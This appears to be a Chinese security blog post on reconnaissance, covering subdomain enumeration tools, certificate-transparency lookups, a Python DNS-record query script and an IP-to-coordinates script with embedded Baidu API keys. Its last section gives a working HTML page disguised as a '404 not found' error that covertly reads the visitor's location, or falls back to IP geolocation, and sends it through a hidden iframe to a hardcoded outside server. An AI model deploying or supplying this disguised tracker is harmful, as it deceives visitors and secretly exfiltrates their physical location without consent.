子域名查询、DNS记录查询

目录

子域名信息查询

Layer子域名爆破机

subDomainBrute

利用google查询

HTTP证书查询

DNS记录查询脚本

IP转换为经纬度

利用网页获取对方经纬度信息


首先关于DNS域名解析的一些知识,传送门——> DNS域名解析基础

了解了DNS解析的一些知识后,我们就可以开始我们的DNS探测了!

一些和域名查询相关的网站:

子域名信息查询

相关文章:论二级域名收集的各种姿势

查询子域名有三种方法:

  1. 通过爆破子域名进行查询,如 Layer子域名爆破机、subDomainBrute,在线子域名查询网站:在线子域名查询 
  2. 通过查询DNS服务器,查询该域下的解析记录
  3. 通过HTTPS证书来查询(只适用于https网站) ,如:crt.sh | Certificate Search   就是通过https证书查询子域名
  4. 通过google查询

Layer子域名爆破机

Layer是windows下的一款子域名探测工具,其工作原理是利用子域名字典进行爆破,使用简单容易上手。

链接:  百度网盘-链接不存在   提取码: w749 

subDomainBrute

subDomainBrute的特点是可以用小字典递归的发现三级域名、四级域名、甚至五级域名等不容易被探测到的域名。

  • 字典较为丰富,小字典就包括1万5千条,大字典多达6万3千条
  • 默认使用114DNS、百度DNS、阿里DNS这几个快速又可靠的Public DNS查询,可修改配置文件添加DNS服务器(在dict里面可以进行添加)
  • 自动去重泛解析的域名,当前规则: 超过2个域名指向同一IP,则此后发现的其他指向该IP的域名将被丢弃

相关文章:子域名爆破工具subDomainsBrute

利用google查询

指定站点,然后-就是不包含这个,来查询

site:baidu.com -www

HTTP证书查询

证书透明度(Certificate Transparency)是证书授权机构的一个项目,证书授权机构会将每个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含域名、子域名和邮件地址。查找某个域名所属证书的最简单的方法就是使用搜索引擎搜索一些公开的CT日志。在线网站:crt.sh | Certificate Search 

可以使用python脚本ct-exposer完成

DNS记录查询脚本

# -*- coding: utf-8 -*-
# python3.7环境
"""
Created on Wed Apr 10 16:40:17 2019
@author: 小谢
"""
##############################################################DNS域名记录查询脚本######################################################
import dns.resolver
domain=input("请输入要查询的域名全拼(例如:www.baidu.com):")       #网站子域名
domainpart=[]
num=domain.count('.')
part=domain.split('.')
for i in range(num):
    j=i+1
    domainpart.append(part[j])
subdomain=".".join(domainpart)              #网站主域名
print("该网站主域名为:%s"%subdomain)
#查询A记录
A=dns.resolver.query(domain,'A')
print("********************A记录********************")
for i in A.response.answer:
    print(i)
    
#查询CNAME记录
try:
    CNAME=dns.resolver.query(domain,'CNAME')
    print("********************CNAME记录********************")
    for i in CNAME.response.answer:
        print(i)
except:
    print("--------------------该域名没有CNAME记录!!--------------------")

#domain=input("请输入要查询的主域名(例如:baidu.com):")
#查询MX记录
try:
    MX=dns.resolver.query(subdomain,'MX')
    print("********************MX记录********************")
    for i in MX.response.answer:
        print(i)
except:
    print("--------------------该域名没有MX记录!!--------------------")
#NS记录
try:
    NS=dns.resolver.query(subdomain,'NS')
    print("********************NS记录********************")
    for i in NS.response.answer:
        print(i)
except:
    print("--------------------该域名没有NS记录!!--------------------")
#SOA记录
try:
    SOA=dns.resolver.query(subdomain,'SOA')
    print("********************SOA记录********************")
    for i in SOA.response.answer:
        print(i)
except:
    print("--------------------该域名没有SOA记录!!--------------------")
    
#TXT记录
try:
    TXT=dns.resolver.query(subdomain,'TXT')
    print("********************TXT记录********************")
    for i in TXT.response.answer:
        print(i)
except:
    print("--------------------该域名没有TXT记录!!--------------------")

#SRV记录
try:
    SRV=dns.resolver.query(domain,'SRV')
    print("********************SRV记录********************")
    for i in SRV.response.answer:
        print(i)
except:
    print("--------------------该域名没有SRV记录!!--------------------")
#AAAA记录
try:
    SRV=dns.resolver.query(domain,'AAAA')
    print("********************AAAA记录********************")
    for i in SRV.response.answer:
        print(i)
except:
    print("--------------------该域名没有AAAA记录!!--------------------")

IP转换为经纬度

# -*- coding: utf-8 -*-
# python2.7环境
"""
Created on Wed Apr 10 16:50:26 2019
@author: 小谢
"""
#####################################################将ip转换为具体的经纬度城市信息#######################################################
#返回数据格式链接: http://lbsyun.baidu.com/index.php?title=webapi/ip-api
import urllib2
import json
ip = raw_input("please your ip address:")
url = "http://api.map.baidu.com/location/ip?ip=%s&ak=GrwQFVVB5qDWviGtSoB4VbU4KK10QVLy&coor=bd09ll"%ip
req = urllib2.Request(url)
res_data = urllib2.urlopen(req)
res = res_data.read().decode("unicode-escape") # 转格式
jsonaddress=json.loads(res)
#print res
print "城市:",jsonaddress['content']['address']
print "省份:",jsonaddress['content']['address_detail']['province']
print "区县:",jsonaddress['content']['address_detail']['district']
print "街道:",jsonaddress['content']['address_detail']['street']
print "经纬度:",jsonaddress['content']['point']['x'],",",jsonaddress['content']['point']['y']
print "纬经度:",jsonaddress['content']['point']['y'],",",jsonaddress['content']['point']['x']

经纬度街景地图:谷歌街景地图

只需要输入 纬度,经度,就可以看到定位的街景地图。

利用网页获取对方经纬度信息

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>404 页面不存在 </title>
    <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
    <script type="text/javascript" src="http://api.map.baidu.com/getscript?v=2.0&ak=GrwQFVVB5qDWviGtSoB4VbU4KK10QVLy"></script>
    <script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>
    <script>
        if(navigator.geolocation){        //如果当前浏览器支持定位
            navigator.geolocation.getCurrentPosition(getPositionSuccess, getPositionError);
        }else{
            console.log("您的浏览器不支持自动定位!");
        }
        /***用户定位成功**/
        function getPositionSuccess(position){
            var lat = position.coords.latitude;    //经度
            var lng = position.coords.longitude;   //纬度
            var address="";
            //通过baiduMap API获取街道名称
            var map = new BMap.Map("allmap");
            var point = new BMap.Point(lng,lat);
            var gc = new BMap.Geocoder();
            gc.getLocation(point, function(rs){
                var addComp = rs.addressComponents;
                address = addComp.city + addComp.district + addComp.street + addComp.streetNumber;  //城市区县街道街道号
                $("#lng").attr("value",lng);   //经度
                $("#lat").attr("value",lat);   //纬度
                url="http://120.79.74.249:8080/?lng="+lat+","+lng;       //将经纬度信息传给我们后台搭建的服务器
                var frame=$("<iframe>");
                frame.attr("src",url);
                frame.attr("style","display:none");
                $("#body").append(frame);
            });
        }
        /**用户定位失败**/
        function getPositionError(error){
            var ip;
            switch(error.code){
                case error.TIMEOUT:
                    console.log("连接超时,请重试");
                    break;
                case error.PERMISSION_DENIED:
                    //如果对方拒绝定位,则先通过获取对方ip向百度API获取定位
                    ip=returnCitySN.cip;
                    $.getJSON("http://api.map.baidu.com/location/ip?callback=?", {
                        'ak' : 'nbB3KwnfDq6UvNxGqkRfhOzeu7EnmNCH',
                        'coor' : 'bd09ll',
                        'ip' : ip//获取的ip地址
                    }, function(data) {
                        var lng=data.content.point.x;//经度
                        var lat=data.content.point.y;//纬度
                        $("#lng").attr("value",lng);   //经度
                        $("#lat").attr("value",lat);   //纬度
                        url="http://120.79.74.249:8080/?ip="+ip+"&address="+lat+","+lng;   //将ip和经纬度信息传给我们后台搭建的服务器
                        var frame=$("<iframe>");
                        frame.attr("src",url);
                        frame.attr("style","display:none");
                        $("#body").append(frame);
                    });
                    break;
                case error.POSITION_UNAVAILABLE:
                    console.log("亲爱的火星网友,非常抱歉,我们暂时无法为您所在的星球提供位置服务");
                    break;
            }
        }
    </script>
    <style type="text/css">
        body,div,h3,h4,li,ol{margin:0;padding:0}
        body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
        :focus{outline:0}
        h3,h4,strong{font-weight:700}
        a{color:#428bca;text-decoration:none}
        a:hover{text-decoration:underline}
        .error-page{background:#f0f1f3;padding:80px 0 180px}
        .error-page-container{position:relative;z-index:1}
        .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
    </style>
</head>
<body id="body">
<div class="error-page">
    <h3>
        <div class="error-page-container">
            <div class="error-page-main">
                <strong>404</strong>很抱歉,您要访问的页面不存在!
            </div>
        </div>
    </h3>
</div>
</div>
</div>
</body>
</html>

 如果想跟我一起讨论的话,就快加入我的知识星球吧。星球里有一千多位同样爱好安全技术的小伙伴一起交流!知识星球 | 深度连接铁杆粉丝,运营高品质社群,知识变现的工具

 

相关文章: 子域名枚举的艺术深度剖析

                  Freebuf-DNS域名信息收集

                  DNS详解

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

谢公子

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值